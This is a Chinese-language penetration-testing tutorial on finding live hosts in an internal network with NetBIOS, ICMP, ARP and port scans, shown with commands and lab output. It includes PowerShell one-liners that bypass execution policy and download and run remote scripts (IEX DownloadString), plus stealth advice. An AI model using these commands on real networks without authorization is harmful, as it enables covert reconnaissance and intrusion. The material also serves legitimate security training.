探测内网存活主机
内网存活主机的探测是内网渗透中不可或缺的一个环节。在扫描的时候,应尽量避免使用 Namp等工具进行暴力扫描.要尽量使用目标系统自带的各种工具,推荐使用 PowerShell 脚本。对于 Windows 7以下版本的系统,可以使用 VBS 脚本。在探测时,可在白天和夜间分别探测,以对比分析存活主机和对应的 IP 地址。
1.利用 NetBIOS 快速探测内网
NetBIOS 是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求 低级服务的统一的命令集,作用是给局域网提供网络及其他特殊功能。几乎所有的局域网都是在 NetBIOS 协议的基础上工作的。“NetBIOS”也是计算机的标识名,该名字主要用于局域网中计算 机之间的相互访问。NetBIOS
的工作流程是正常的机器名解析查询应答过程,推荐优先使用。nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。 nbtscan 有 Windows 版本和 Linux 版本,体积很小,且不需要特殊的库或 DLL。 NetBIOS 的使用比较简单。将其上传到目标主机后,直接输入IP 地址范围并运行。
工具下载链接:http://www.unixwiz.net/tools/nbtscan.html
C:\Windows\Temp>nbtscan.exe 192.168.3.0/24
192.168.3.68 0DAY\SRV-DB-0DAY SHARING
192.168.3.142 0DAY\OWA2010SP3 SHARING DC
*timeout (normal end of scan)
2.利用 ICMP 协议快速探测内网
1.使用命令行
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
C:\Windows\Temp>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="
来自 192.168.3.68 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.3.142 的回复: 字节=32 时间<1ms TTL=128
2.使用bat 脚本
@echo off
FOR /L %%I in (1,1,255) do ping 192.168.1.%%I -n 1 -w 100
arp -a > C:\Users\beret\1.txt
exit
3.使用 VBS 脚本
strSubNet = "192.168.3."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
3.利用 ARP 扫描探测内网
1.使用arp-scan 工具
C:\Windows\Temp>arp-scan.exe -t 192.168.3.0/24
Reply that 00:0C:29:72:B1:AC is 192.168.3.68 in 0.113632
Reply that 00:0C:29:61:53:54 is 192.168.3.71 in 11.915900
Reply that 00:0C:29:91:86:D1 is 192.168.3.142 in 1.021149
Reply that 00:0C:29:72:B1:AC is 192.168.3.255 in 0.044419
2.Nishang 中的 Invoke-ARPScan.ps1 脚本
C:\Windows\Temp>powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.3.0/24}"
MAC Address
--- -------
00:0C:29:72:B1:AC 192.168.3.68
00:0C:29:61:53:54 192.168.3.71
00:0C:29:91:86:D1 192.168.3.142
00:0C:29:72:B1:AC 192.168.3.255
a. 本地加载运行
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.3.0/24}" >> C:\windows\temp\log.txt
b. 远程下载运行
powershell.exe -nop -exec bypass "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.100.200/Recon/Invoke-ARPScan.ps1');Invoke-ARPScan-CIDR 192.168.3.0/20" >> C:\windows\temp\log.txt
c. 无条件运行
powershell.exe -nop -exec bypass "IEX (New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan-Hosts 192.168.3.0/24-T 4 -ports'80,445,1433,3389,8080'-oA C:\windows\temp\res.txt"
3.使用Empire 中的 arpsan 模块
Empire 内置了 arpsan 模块。该模块用于在局域网内发送 ARP 数据包,收集活跃主机 IP 地址和 MAC 地址信息。
输入“usemodule situational_awareness/network/arpscan”命令,即可使用 arpsan 模块.
4.利用 TCP/UDP 端口扫描探测内网
ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描,命令如下:
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.3.1-254 /b